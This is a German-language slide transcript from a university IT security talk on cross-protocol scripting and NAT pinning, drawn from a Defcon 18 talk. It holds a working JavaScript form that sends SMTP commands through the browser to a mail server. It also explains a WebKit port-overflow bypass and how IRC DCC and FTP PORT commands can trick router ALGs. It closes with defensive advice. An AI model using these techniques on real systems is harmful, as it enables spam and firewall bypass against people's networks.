IT Security Cross Protocol Scripting & NAT Pinning Emanuel Klein.

Post on 06-Apr-2015

112 Views

Category:

Documents

2 Downloads

Preview:

Click to see full reader

Transcript

IT Security

Cross Protocol Scripting &NAT Pinning

Emanuel Klein

Motivation

• Defcon 18 Videos auf Youtube• How i met your Girlfriend• Von Samy Kamkar• http://www.youtube.com/watch?v=fEmO7wQKCMw

• Inhalt:• PHP 160 Bit Session Variable Reduktion auf 40 Bit• Cross Protocol Scripitng (XPS)• NAT Pinning• Webkit Integer overflow• Geolocation via XXXSS

Cross Protocol Scripting (XPS)

HTTP Newline Protocol

Browser ist HTTP Client \n Client

HTTP Server auf Port 80, 443 ,8080, ????

Andere Newline Protokolle SMTP

FTP

IRC

Der Browser als beliebiger Client

SMTP Zum versenden von Spam

IRC Zum versenden von Spam

-> NAT Pinning

FTP -> NAT Pinning

Der Javascript Client

doc = document.createElement(“form“);

doc.setAttribute(“name“,“x“);

doc.setAttribute(“method“,“POST“); //GET Funktioniert natürlich nicht

doc.setAttribute(“action“,“http://mail.fhstp.ac.at:25/“); //Server+Port

doc.setAttribute(“enctype“,“multipart/form-data“); //erhält newlines!

payload = document.createElement(“textarea“);

payload.setAttribute(“name“, “C“);

// Der eigentliche Inhalt

data = “HELO\nMAIL FROM:<serious@business.org>\nRCPT TO:<astnwt@fhstp.ac.at>\nDATA\nSubject: Raketenfuzzys\nKeep up the good work!\n.\n\nQUIT“;

payload.setAttribute(“value“, data);

payload.innerHTML = data;

payload.innerText = data;

doc.appendChild(palyoad);

document.body.appendChild(doc);

doc.submit(); //Abschicken

Demo

Webkit Integer Overflow

IRC Port 6667 6667 = 0001 1010 0000 1011 72203 = 1 0001 1010 0000 1011

Browser check: If port != 6667 then connect(hostname, port)

TCP/UDP Port nur 16 Bit groß 17. Bit wird einfach abgeschnitten!

NAT Pinning

SOHO Router und Firewalls sind ALGs

Inspizieren und Interpretieren Layer 7 Payload

Beispiele:

IRC/DCC:

PRIVMSG target :DCC target $IP $PORT

Netfilter IRC Conntrack

FTP PORT Command

PORT ip1.ip2.ip3.ip4.p1.p2

?

Implementationsabhängig!

Was lernen wir daraus

Browser:

Aktuellen Browser verwenden (patchen, auch Browser!)

NoScript?

Firewall:

Regeln überdenken

Brauche/habe ich ALG Funktionalität aktiviert?

Host based Firewalls

Vielen Dank für Ihre Aufmerksamkeit!

top related